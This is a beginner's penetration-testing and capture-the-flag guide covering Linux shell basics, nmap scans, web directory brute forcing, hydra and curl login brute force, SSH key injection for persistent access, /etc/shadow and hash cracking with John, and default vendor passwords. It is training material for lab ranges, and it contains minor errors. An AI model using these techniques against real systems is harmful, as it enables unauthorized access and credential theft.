This guide aims to simplify the life of the beginner.
It follows a complete but very simplified methodology. You will thus be able to work on your first servers of easy levels, and pown them without getting lost in the meanders of the Internet.
The main phases of a pentest (penetration test) are as follows:
Definition of the scope
Clearly define the target, and the limits.
In training, which is our case, these are servers on a local IP address range, not routable on the Internet.
To simplify, you should only work on addresses that start with 10. such as 10.10.0.10.
We never target infrastructures, nor our colleagues.
Recognition phase
Gather data and information on your target.
Sources of information can be external sources accessible to all, such as search engines, social networks and DNS (Domain Name Service) or information provided by the client.
Internet databases: Google searches, dns,...
Mapping phase and enumeration
Identify servers, open ports and accessible services.
Network knowledge: IP, port, HTTP, ftp, smtp,...
-> IP
-> Network Discovery
-> HTTP
Vulnerability research Vulnerability research Vulnerability research ___Vulnerability research
Identify known vulnerabilities by using software and database versions of vulnerable software such as exploit_db, or search for vulnerabilities based on the OWASP Top 10.
Knowledge: CVE, and ideally python, sql,... to understand the exploit and adapt it.
-> CVE
-> Default Password and patterns
-> LFI
-> Command injection
-> SQLi
Exploitation
Implementation of an exploit so that shell commands can be run on a server.
-> Webshells
Privileges Elevation
Switch from an account with low privileges, such as a web server, to an administrator account.
Shell knowledge: cd, file system, user rights, config file, sbit, sudo, ...
-> Shell commands
-> File transfer
-> Privilege elevation on Linux
Maintaining Access and Cleaning
Backdoor installation and cleaning of traces to be able to easily reconnect to the server.
This is not beginner stuff.
Knowledge: log systems
Lateral Move
Use the server to bounce to other machines that may be located on other internal networks.
This is not beginner stuff.
Knowledge: tunnelling and port forwarding
Have fun !
ls : display the content of the current directory
ls -l : display the contents of the current directory, with info on file permissions
ls -l xxx : display the rights of file xxx
ls -al : display the contents of the current directory, including hidden files
cat xxx : display the content of file xxx
pwd : current directory
cd xxx : move to the xxx directory
cd . : move to parent directory
id : identifier of the current account and groups it belongs to
uname -a : server information: which distribution and kernel version.
Some flags can be found in your terminal.
Start in the /home/yolo/flags directory before expanding to your entire system.
This is an opportunity to practice the commands detailed in this chapter.
And since you read the manual, here is a gift: Flag_rtfm_shell
cd ~/flags
The Unix file system starts from the root: /
It usually contains the directories:
/home/xxx: one directory per user account xxx
~ : your user directory
/root : the administrator's directory
/tmp : temporary files
/bin : system commands
/etc : system configuration files
/var/log : logs of programs like the web server
/var/www : default location for web server files
All files and directories have an owner, and are part of a group.
Each file therefore defines permissions for:
Basic permissions are:
Listing file rights
ls -al : -al allows to list the rights of files, including hidden ones.
rwxr-xr--
\ /\ /\ /
v v v
| | rights of other users (o)
| |
| rights of users belonging to the group (g)
|
owner's rights (u)
$ ls -al
total 192
drwxrwxr-x 18 yolo yolo 4096 janv. 25 14:23 . : rights of the current directory
drwxrwxr-x 26 yolo yolo 4096 févr. 5 10:55 .. : parent directory rights
-rw-rw-r-- 1 yolo yolo 5917 janv. 25 14:23 readme.txt : read/write User/Group, read only for Other
-rwxr-xr-x 1 yolo yolo 2642 janv. 25 11:31 run : read/write/execute for user, read/execute for group and others
Additional permissions exist:
$ ls -al
total 192
drwxrwxr-x 18 yolo yolo 4096 janv. 25 14:23 .
drwxrwxr-x 26 yolo yolo 4096 févr. 5 10:55 ..
rwsr-xr-x 1 yolo yolo 2642 janv. 25 11:31 run : the x is replaced by an s for User
The SUID bit allows us to launch commands with the rights of another user and make privilege elevation.
The chmod command allows to add (+) or remove (-) the rights (r,w,x) to the owner (u), group (g), others (o) or all (a).
chmod u+x ./run : the owner can execute
chmod g-x ./run : the group can't execute
chmod o+r ./run : others can read
chmod a+w ./run : all can write in the file
Values of x,r,w can be set in binary form.
r=4, w=2, x=1
rwx = 4+2+1 = 7
r-x = 4+0+1 = 5
r-- = 4+0+0 = 4
rwxrx-r-- = 764
chmod 764 readme.txt
/etc/passwd : users list
/etc/hosts : host names and aliases
The find command is used to search for files in directories, and possibly to perform actions on the found files.
find . -name "*.txt"
Search for files with the .txt extension in the current directory and subdirectories.
find / -name "*.php"
Search for files with the .php extension from the root.
find / -name "*.php" 2>/dev/null
The screen is saturated with the list of directories that are forbidden to us to read. The command 2>/dev/null redirects the errors to the virtual file /dev/null which makes them disappear from the display.
find / -name "*.php" -exec ls {} \; 2>/dev/null
The -exec option is used to run a command on each file found. Often ls -al, or cat.
{} is replaced by the name of the file found.
\; is put at the end of the command to be executed.
The find command is used to execute commands on found files.
find / -name *.txt -user yolo -exec cat {} \; 2>/dev/null
Run the cat command on all .txt files belonging to yolo from the root.
Syntax of the command:
The {} is replaced by the name of the found files, and the \; is used as the end-of-command delimiter for the command to be executed.
Connections to the servers are done in ssh.
Either with a login/password
ssh user@hostname
Either with a private key file
ssh -i id_rsa user@hostname
On servers, it is common to identify yourself with a private key rather than a password. Your keys can be found in :
$ ls -al ~/.ssh
total 20
drwx------ 2 yolo yolo 4096 Apr 4 13:47 .
drwxr-xr-x 27 yolo yolo 4096 Apr 4 13:22 ..
-rw------- 1 yolo yolo 2610 Apr 4 13:47 id_rsa
-rw-r--r-- 1 yolo yolo 575 Apr 4 13:47 id_rsa.pub
-rw-r--r-- 1 yolo yolo 1998 Apr 1 19:45 known_hosts
Your private keys are in the file :
~/.ssh/authorized_keys
Generate a private/public key pair:
Just type [enter] to (empty for no passphrase) to generate a private key without a password.
If you enter a password, your key will be encrypted, and you will have to type the password every time you use it.
$ ssh-keygen -t rsa -b 4096 -C yolo@yoloctf.org -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:OSHYGRwrI7LM9/8haFfVXgBlXrdHcdfEZxIv9CeWg5Q yolo@yoloctf.org
The key's randomart image is:
+---[RSA 4096]----+
| .o. .+=o*O|
| o.+ .Eo+=X|
|. . + = . ..o*=*|
|oo . o . o. ...+o|
|.o . S. . |
| . . . .. |
| + o . |
| . o . . |
| ... |
+----[SHA256]-----+
The private key file should only be readable by its owner.
If needed do: chmod 600 id_rsa.
vagrant@kali:/home/yolo/tmp$ ls -al
total 16
drwxrwxrwx 2 yolo yolo 4096 Apr 4 13:24 .
drwxr-xr-x 27 yolo yolo 4096 Apr 4 13:22 ..
-rw------- 1 yolo yolo 3381 Apr 4 13:24 id_rsa
-rw-r--r-- 1 yolo yolo 742 Apr 4 13:24 id_rsa.pub
Private key headers are easy to identify:
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
7KrJLvv/4Ve+Dm5bLwhJ9BkLessiIlGgx0ju+ghI7V+Ar+qAhir5chpVSGH4YIk0J8VDbJ
...
O9mUtgl8PKUd5AQL6sMM/FaYffu7+OFQkJzv3hxyiFEQPhsAo2K55cG8S0RWCX9Jp96U54
lOXLj6MfGkfzuvvFS4pm9iTBrwKq8h7CubmNOnHe3TH3U/Mrzf6wq8MwAEpSeTWfnBGdRP
tHOBQdCIQj3JAAAAEHlvbG9AeW9sb2N0Zi5vcmcBAg==
-----END OPENSSH PRIVATE KEY-----
Password protected Key header:
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
Public key :
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQAxxxxx8/QoN3NBob3zs4l2mfZWkZNAtCHN2CpQ== yolo@yoloctf.org
Once the password of a private key found with John, it is possible to remove it for simplicity.
openssl rsa -in [id_rsa_sec] -out [id_rsa]
The public keys to connect in ssh are listed, one key per line, in the file.
~/.ssh/authorized_keys
Once on a user account of a server, inject your public key to have a direct access in ssh.
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
If the directory does not exist, just create it:
mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys
Close your webshell, and come back in ssh:
ssh -i id_rsa_yolo victim@target.com
An IP address (with IP for Internet Protocol) is an identifier, which is assigned, permanently or temporarily, to each machine connected to a computer network (PC, telephone, smart TV, connected object, ...).
IPv4 (version 4) addresses are 32-bit coded. They are generally represented in decimal notation with four numbers between 0 and 255, separated by dots. Example: 172.16.254.1
A server has as many addresses as there are network cards. Some addresses have a reserved use:
Subnetwork
The first bits of the IP address specify the network number, the next bits the host number. The number of bits in the network is specified by the network mask:
When we scan 10.10.10.1/24, we test all addresses from 10.10.10.1 to 10.10.10.255.
192.168.X.X/16, 172.16.0.0/12 and 10.X.X.X/8
The 192.168.X.X/16, 172.16.0.0/12 and 10.X.X.X/8 networks are dedicated to local networks. Such adresses should never be forwarded by routers or boxes to Internet. You must train scans and exploits ONLY on hosts on those networks.
$ ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
73: eth1@if74: mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:0a:0a:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.10.10.3/24 brd 10.10.10.255 scope global eth1
valid_lft forever preferred_lft forever
$ ifconfig
eth0: flags=4163 mtu 1500
inet 10.10.0.2 netmask 255.255.255.0 broadcast 10.10.0.255
ether 02:42:0a:0a:00:02 txqueuelen 0 (Ethernet)
RX packets 7567 bytes 573298 (559.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7073 bytes 4046236 (3.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163 mtu 1500
inet 10.10.10.3 netmask 255.255.255.0 broadcast 10.10.10.255
ether 02:42:0a:0a:0a:03 txqueuelen 0 (Ethernet)
RX packets 15569 bytes 2618290 (2.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20985 bytes 1976399 (1.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Use nmap to identify live hosts on 10.10.10.4/24 network
# nmap 10.10.10.4/24
# nmap 10.10.10.1-255
# nmap 10.10.10.4
# nmap -A 10.10.10.4 : Scan Top 1000 ports et get services versions
# nmap -sV -sC -p- 10.10.10.4 : Scan all 65535 TCP ports
# nmap -sU 10.10.10.4 : Scan UDP ports
-sV : Attempts to determine the version of the service running on port
-sC : Scan with default NSE scripts. Considered useful for discovery and safe
-A : Enables OS detection, version detection, script scanning, and traceroute
-p- : Port scan all ports
-sU : UDP ports (very slow)
-oN nmap.log : output file
The three scripts can be launch in parallel in three different xterms.
Despite they can run on any port, services such as ftp, web, or ldap generally use the ports reserved for them. Port 80 for example is used by web servers for HTTP. Port 443 is the port for HTTPS.
TCP
20: ftp data
21: ftp control
22: ssh
23: telnet
25: SMTP (mail)
37: Time protocol
53: Bind/DNS
69: TFTP (Trivial FTP)
80: HTTP
109: POP2
110: POP3
111: RPC Remote Procedure Call
137: Netbios Name Service
138: Netbios Datagram Service
139: Netbios Session Service
143: IMAP (mail)
161: SNMP
220: IMAP
389: LDAP
443: HTTPS
445: MS Active Directory, SMB
464: Kerberos
1521: Oracle Database
3000: Node JS
3306: MySQL
UDP
69: TFTP
161: SNMP
http://www.0daysecurity.com/penetration-testing/enumeration.html
Ftp servers are used to transfer files.
Once logged in with a login/password, it is possible to move through the directory tree to upload/download files.
By default, the protocol is optimised for text files. Do not forget to activate the binary mode if necessary.
A guest or anonymous account allows on certain servers to freely download public documents.
The login is 'anonymous', the password is conventionally the guest's email.
$ ftp 10.0.0.11
Name (10.0.0.11:yolo): anonymous
Password: yolo@yolospacehacker.com
ftp> pwd
ftp> cd docs
ftp> ls
ftp> bin
ftp> get flag.txt
ftp> put backdoor.php
ftp> bye
22 is the ssh port, which allows remote access to a terminal.
It is possible to connect with a login/password.
$ ssh yolo@10.0.0.11
It is also possible to log in with a private key file.
$ ssh -i id_rsa yolo@10.0.0.11
The private key file should only be read by its owner.
$ chmod 600 id_rsa
The robots.txt file, when it exists, is stored at the root of a website.
It contains a list of the resources of the site that are not supposed to be indexed by search engine spiders.
By convention, robots read robots.txt before indexing a website.
Its content may therefore be of interest to us.
http://10.10.10.8/robots.txt
Plus d'info : https://en.wikipedia.org/wiki/Robots_exclusion_standardDevelopers sometimes leave useful information or even passwords in code comments. These are often urls, or form fields used for testing.
/* Secret code */
<!--- Secret code --->
<p hidden>Secret code.</p>
<label style='display: none'>Secret code.</label>
Bruteforcing a website consists in testing the presence of accessible pages, such as /register, /register.php, /admin, /upload, /users/login.txt, /admin/password.sav, ...
For this there are lists of directories and filenames frequently found on web servers.
Once web server langage/framework is known (php, java, cgi / wordpress, joomla, ...), it is possible to use optimized lists, and search only the appropriate extensions.: php, php4, php5, exe, jsp, ...
It is also possible to search for files with interesting extensions. : cfg, txt, sav, jar, zip, sh, ...
Usual web brute force software :
It is crucial to choose the right list of directories/filenames:
Dirb is usually preinstalled on Kali or Parrot. If not:
sudo apt-get install -y dirb
Run a quick scan with dirb, whith its default 'common.txt' list:
dirb http://10.10.10.11
Find files with .php file extension:
dirb http://10.10.10.11 -X .php
https://github.com/OJ/gobuster
Download and install in /opt
wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z
sudo apt install p7zip-full
7z x gobuster-linux-amd64.7z
sudo cp gobuster-linux-amd64/gobuster /opt/gobuster
chmod a+x /opt/gobuster
Bruteforce http://10.10.10.11, with the list 'directory-list-2.3-medium.txt', and file extensions html,php,txt:
/opt/gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.11 -l -x html,php,txt
For an HTTPS url, add the command line option
-k : skip HTTPS ssl verification
Fuzz an id from 000 to 020
wfuzz -z range,000-020 http://satctrl.bahamas.ysh/?id=FUZZ
Fuzz a parameter name
wfuzz -z file,./burp-parameter-names.txt "http://satctrl.bahamas.ysh/action.php?FUZZ=aaaaaaa"
Ctrl-C, identify the number of characters in the answers. For example 400.
Rerun using the --hh option to exclude responses of this size, and to easily identify responses that generate a different page.
wfuzz -z file,./burp-parameter-names.txt "http://satctrl.bahamas.ysh/action.php?FUZZ=aaaaaaa" --hh 400
Fuzzing the value of a url parameter
wfuzz -z file,./burp-parameter-names.txt "http://satctrl.bahamas.ysh/action.php?command=FUZZ"
Ctrl-C, identify the number of characters in the answers. For example 400.
Rerun using the --hh option to exclude responses of this size, and to easily identify responses that generate a different page.
wfuzz -z file,./burp-parameter-names.txt "http://satctrl.bahamas.ysh/action.php?FUZZ=aaaaaaa" --hh 400
Fuzzing an fqdn prefix
wfuzz -z file,./burp-parameter-names.txt "http://FUZZ.bahamas.ysh"
wfuzz -z file,./burp-parameter-names.txt "http://FUZZ.bahamas.ysh" --hh 400
Usefull lists
subdomains-top1million-5000.txt
burp-parameter-names.txt
From: https://github.com/danielmiessler/SecLists
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 10.10.10.157 http-get /monitoring
-l login
-P password file
-f server adress
http-get : HTTP request type
/monitoring : url path
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.11 http-post-form '/admin/login.php:username=^USER^&password=^PASS^:F=Wrong password:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V
Beware if the answer is a 302 Redirect, hydra will not follow and will generate a false positive.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.4 http-get-form '/login.php:username=^USER^&password=^PASS^:F=Login failed:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V
Beware if the answer is a 302 Redirect, hydra will not follow and will generate a false positive.
URLs format:
Posts : /index.php?p=22
/index.php/2017/04/12/hello-world/
/index.php/jobs/apply/8/
Login : /wp-login/
/wp-login.php
Uploaded files : /wp-content/uploads/%year%/%month%/%filename%
Config file and database credentials
/var/www/html/
wordpress/wp-config.php
wordpress/htdocs/wp-config.php
Wpscan knows the structure of a wordpress site and will make brute force to identify the pages, the posts, the users, the theme, the plugins.
Wordpress flaws are mainly due to non-updated plugins.
wpscan --url http://10.10.10.10/wordpress/ -e
--url : wordpress url
-e : enum pages, posts, users, theme, plugins, ...
Login bruteforce
wpscan --url http://10.10.10.10/wordpress/ -P rockyou.txt -U admin
POP3 protocol is used to get your mails from a distant server.
If you have the login/password, connect thanks to netcat or telnet
$ nc 10.0.12.10 110
Once connected, authenticate with login/password
USER XXXXXX
PASS XXXXXX
Get the mails list
LIST
Read mail number 1
RETR 1
Quit the server.
QUIT
Use hydra to bruteforce POP3 authent.
hydra -V -l username -P wordlist.txt 10.0.12.10 pop3
You have found database credentials in config file. Let use mysql client to connect and dump the database.
mysql --host=HOST -u USER -p
--host xx : Server IP or name
-u xx : login
-p : manually enter the password.
List databases.
show databases;
Ignore internal databases and choose the application database.
The database 'information_schema' contains internal information of mysql or mariadb. It can generally be ignored.
Select the aplication database, list tables, then dump interresting tables such as 'users'.
use DATABASE;
show tables;
SELECT * FROM TABLENAME;
quit;
Pour rendre certains services invisibles aux scans, les serveurs peuvent utiliser une fonctionnalité de Port Knocking.
Les ports sensibles ne sont ouverts qu'une fois une séquence particulière de paquets reçus, idéalement en UDP.
Cette fonctionnalité peut être implémentée directement dans le routeur, le firewall ou l'application.
Envoyer un unique paquet vide en UDP sur le port 1337
nc -u -z localhost 1337
Envoyer une série de paquets vides sur les port UDP 1337 4444 6666
nc -u -z localhost 1337 4444 6666
Envoyer un unique paquet contenant le message KnockKnockKnock sur le port UDP 1337
printf KnockKnockKnock | nc -u -q1 localhost 1337
Envoyer une série de paquets contenant le message KnockKnockKnock sur les port UDP 1337 4444 6666
for i in 1337 4444 6666; do printf Knock | nc -u -q1 localhost $i; done
The HTTP protocol is used by web browsers to obtain documents hosted by servers.
The browser connects to a server via TCP, on port 80 by default.
The minimal request contains a command (here GET), a URL (/hello.txt), an empty line.
GET /hello.txt
The answer contains the requested file.
Hello world
$ printf 'GET /hello.txt \n\r\n' | nc localhost 8001
HTTP protocol version 1.1 is optimized for complex HTML pages transferring, and allows negotiation of language and encoding formats.
The minimal request contains a command (GET), a url (/hello.txt), the version (HTTP/1.1), the Host field, an empty line.
GET /hello.txt HTTP/1.1
Host: 10.10.10.11 80
The answer contains a header, composed of many fields (server, date,...), the length of the content (here 13), and the content as text.
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15+
Date: Thu, 26 Dec 2019 17:06:12 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 13
Hello world
The headers of the answer contains lots of usefull information about the server, its version...
Here is an Apache server in version 0.8.4 that runs scripts with a php interpreter in version 7.3.13.
HTTP/1.1 200 OK
Server: Apache/0.8.4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.13
$ printf 'GET / HTTP/1.1\r\nHost: localhost 8001\r\n\r\n' | nc localhost 8001
HTTP response codes
1xx informational response – the request was received, continuing process
2xx successful – the request was successfully received, understood, and accepted
200 OK
3xx redirection – further action needs to be taken in order to complete the request
301 Moved Permanently => Redirection
304 Not Modified
4xx client error – the request contains bad syntax or cannot be fulfilled
400 Bad request
401 Unauthorized
403 Forbidden
404 Not found
5xx server error – the server failed to fulfil an apparently valid request
500 Internal Server Error
502 Bad Gateway - The server was acting as a gateway or proxy and received an invalid response from the upstream server
503 Service Unavailable - The server cannot handle the request (because it is overloaded or down for maintenance)
504 Gateway Timeout - The server was acting as a gateway or proxy and did not receive a timely response from the upstream server.
https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Download a file :
$ wget http://localhost:8001/
Print the content of the file :
$ curl http://localhost:8001/
Print the HTTP headers and the content of the file :
$ curl -v http://localhost:8001/
HTTP headers are standardized and contain usefull informations.
Custom headers can be freely added. Here 'X-MyHeader: value':
GET / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
X-MyHeader: value
Add a custom Header with curl : -H 'header: value'
$ curl -H 'X-MyHeader: yoloforpresident' http://localhost:8001
The header of HTTP requests contains a User-Agent field.
It is used by browsers to identify themselves and give information about their version.
The server can adapt the page to an older Internet Explorer or a newer Firefox browser.
Curl v7.68.0 uses 'curl/7.68.0' as the User-Agent. It is possible to set the User-Agent value with the -A option.
curl -A 'MyAgent' http://localhost:8001
An URI (Universal Resource Locator) specify an internet resource, followed by optional parameters.
The first parameter is identified by a ?, the following ones by a &.
.
If the parameters contain a ? or a &, they are encoded as %3F and %26. This is called Percent (%) encoding.
.https://fr.wikipedia.org/wiki/Percent-encoding
Exemple:
$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'
As unix shell uses the & to launch background tasks, it is imperative to put the URL between quotes '.
HTTP has basic authentication feature, based on a field containing a username and a password in clear text.
login:password is base64 encoded then added in the request header.
Authorization: Basic bG9naW46cGFzc3dvcmQ=
Exemple:
GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*
Basic auth with curl:
$ curl -u login:password http://localhost:8001/hello.txt
Base64 encode login:password in shell
$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=
Base64 decode
$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password
Bruteforce Basic auth with curl and rockyou password list:
for i in `cat rockyou.txt`; do printf \n$i:; curl -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done
Web pages send Form fields either using GET method in the URL parameters, or POST method in the request body.
Parameter of GET requests are saved in logs files, and have limited length.
Parameter of POST requests do not appear in the logs, and are not limited in length. It is thus possible to upload large files.
These parameters are encoded with 'Percent encoding'.
Example:
POST /login.php HTTP/1.1
Host: 10.10.1.11
Content-Type: application/x-wwww-form-urlencoded
Content-Length: 24
login=James&password=007
Post a form with curl:
$ curl -X POST -F 'username=admin' -F 'password=megapassword' http://localhost:8001/
Forms are HTML base objects, enclosed by <form> and </form> tags.
<input name='xxx'>: Text input fields
<form action='xxx': URL to send the Form to. If empty send to the current URL.
Exemple:
<form action="/action_page.php">
First name: <input type="text" name="firstname" value="Mickey">
Last name: <input type="text" name="lastname" value="Mouse">
<input type="submit" value="Submit">
</form>
Post a Form thanks curl:
$ curl -X POST -F 'firstname=Mickey' -F 'lastname=Mouse' http://12.10.1.11/action_page.php
HTML Forms most often use the POST method, sometime also the GET method is used.
Paramètres are sent as request URI arguments.
When using curl in shell, dont forget to use quotes '
Exemple:
$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'
It's common to procces form fields values in JavaScript before sending them to the server.
JavaScript natively makes use of JSon format to exchange structured datas.
Exemple: {key1:value1, key2:value2}.
The Content-Type header is then set to json: Content-Type: application/json
Exemple:
POST / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 34
{"key1":"value1", "key2":"value2"}
Curl:
$ curl --header "Content-Type: application/json" -X POST --data '{"key1":"value1", "key2":"value2"}' http://10.10.1.11/
Forms are often used to register, login, and upload files.
Lots of sanity checks can be done in JavaScript in the browser before the upload or on the server after the upload.
Filename and file extension, are often checked, sometime even the file header is chekced to verify wether it's an image or a php file.
A full chapter is dedicated to file upload and filter bypass.
A File field can be identified by the following HTML code
<input type=file name=fileToUpload>:
Curl command
curl -X POST -F 'fileToUpload=@./picture.jpg' http://10.10.1.11/upload
Cookies are used to store data on the browser, that will be reused at the next session.
They can contain everything: choices of language, colors, and sometimes password...
Read cookies in the server response and store them in a cookie jar.
$ curl -c cookies.txt http://10.10.1.11/cookies.php
Send a stored cookie, and update its value with the response
$ curl -b cookies.txt -c cookies.txt http://10.10.1.11/cookies.php
Send a manually crafted cookie
$ curl -b 'code=1447' http://10.10.1.11/cookies.php
When it comes to choosing a password, it always comes at the worst possible time.
And since, moreover, it is necessary to remember it... passwords are often based on simple notions: first name, brand, memory...
Fortunately, security managers impose password management policies designed to prevent these abuses...
Well, ...
In 90% of the cases, the capital letter is at the beginning of the password, the numbers and the special character at the end...
Please stop using Ferrari12$ as password...
RockYou, a California based company, made it possible to authenticate on facebook applications without having to re-enter passwords. In December 2009, it was hacked.
The database containing the unencrypted names and passwords of its 32 million customers was stolen and then made public.
An analysis of the passwords showed that two thirds of the passwords were less than 6 characters long, and that the most commonly used password was 123456.
This list of passwords, sorted by frequency is frequently used in CTF.
On Kali, the file, zipped, is stored in: /usr/share/wordlists/rockyou.zip
In the terminal, to get into good habits, the file can be found at: /usr/share/wordlists/rockyou.txt
password list Rockyou: rockyou.txt
To find out if your email address is present in a data leak, use the Firefox Monitor service.
https://monitor.firefox.com/
A professional never keeps a password.
It records a hash.
A hash is generated by a mathematical function from the user's password.
When the user enters his password, the software calculates the hash and sends it to the server which compares it with the hash it has stored.
If the two hashes match, then the user knows the password, and is authenticated.
If someone sniffs the messages, he won't see the password, just the Hash.
Knowing the Hash, it is complicated to retrieve the password.
To calculate a Hash of the password '123456' with the MD5 function, use the following command in the terminal :
$ printf '123456' | md5sum
123456 will always give the same MD5 Hash.
The MD5 function has been widely used in the past, but the power of today's processors requires the use of more complex functions to be cracked such as SHA1, SHA256 or SHA512.
.
The size of the hash increases with the complexity of the algorithm.
printf '123456' | sha1sum
7c4a8d09ca3762af61e59520943dc26494f8941b
printf '123456' | sha256sum
8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92
Note: we use 'printf' and not 'echo' for a hash calculation. Echo adds a line break which is taken into account by the Hash.
Longer Hashes are more complicated to break, but it is still possible to pre-calculate them for common passwords such as the ones found in RockYou list.
To avoid the pre-calculation of Hash, we use Salts.
These are additional values that are added at the beginning of the password before calculating the Hash.
The hash check remains fast, but the pre-calculated tables become useless, they have to be recalculated for each Salt.
Compute the hash of 123456, with the Salt ABCDE, and the Hash MD5 function in python:
$ python3 -c "import crypt; print(crypt.crypt('123456', '$1$ABCDE$'))"
With openssl: -1: MD5 password, -5:SHA256 and -6:SHA512
$ openssl passwd -1 -salt ABCDE 123456
The result is : $1$ABCDE$Kn5RIMYO1QXy7GtJysNSC1
Composed by three fields $xx$xx$xx :
$1 : hash function is MD5 ($5 SHA256, $6 SHA512)
$ABCDE : Salt
$Kn5RIMYO1QXy7GtJysNSC1 : MD5 hash of 123456+salt
Use online services to crack hash:
Try: e10adc3949ba59abbe56e057f20f883e
The /etc/passwd file is a text file with each line describing a user account.
Each line consists of seven fields separated by a colon.
Here is an example of a recording:
jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh
The first lines of the file are usually system accounts.
User accounts are often described in the last lines.
This file allows to quickly identify users, applications (tomcat, mysql, www_data,...), their working directories, and whether or not they have access to a shell.
Wikipedia: https://en.wikipedia.org/wiki/Passwd
John The ripper allows to check if a hash corresponds to a password present in a list.
Save one or more hashes in hash.txt file.
$ echo 'root:$1$1337$WmteYFHyEYyx2MDVXln7Y1' >hash.txt
$ echo 'wordpressuser1:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0' >>hash.txt
Use John the ripper to break the password using its internal password list:
$ john hash.txt
Use John the ripper to break the password using the Rockyou list:
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
John no longer displays passwords he has already broken.
To view these passwords:
$ john hash.txt --show
There are several versions of John on the Internet. The Kali and Parrot distributions, install the John Community Enhanced -jumbo version. This distribution is available at https://github.com/openwall/john
$ sudo snap install john-the-ripper
$ john
John the Ripper 1.9.0-jumbo-1 OMP [linux-gnu 64-bit 64 AVX2 AC]
Bruteforce /etc/shadows with John:
$ unshadow /etc/passwd /etc/shadow > hash.txt
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
$ john hash.txt --show
Bruteforce MySQL Hash with John:
mysql -u dbuser -p drupaldb
show databases;
show tables;
select name, pass from users;
exit
-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| | |
| admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR |
| Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg |
| ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi |
+-------+---------------------------------------------------------+
echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash.txt
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
$ john hash.txt --show
Bruteforce a pasword protected id_rsa id (id used for ssh connections):
RSA header:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
Let check if the password is in the Rockyou list.
$ python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
$ john hash.txt --show
Many software and equipment are installed with default configurations and passwords.
Very often, these passwords are not changed..
Vendor Username Password
------ -------- --------
Raspberrypi pi raspberry
3COM BLANK 12345
APACHE admin jboss4
Apache admin tomcat
Apache tomcat tomcat
Adobe admin admin
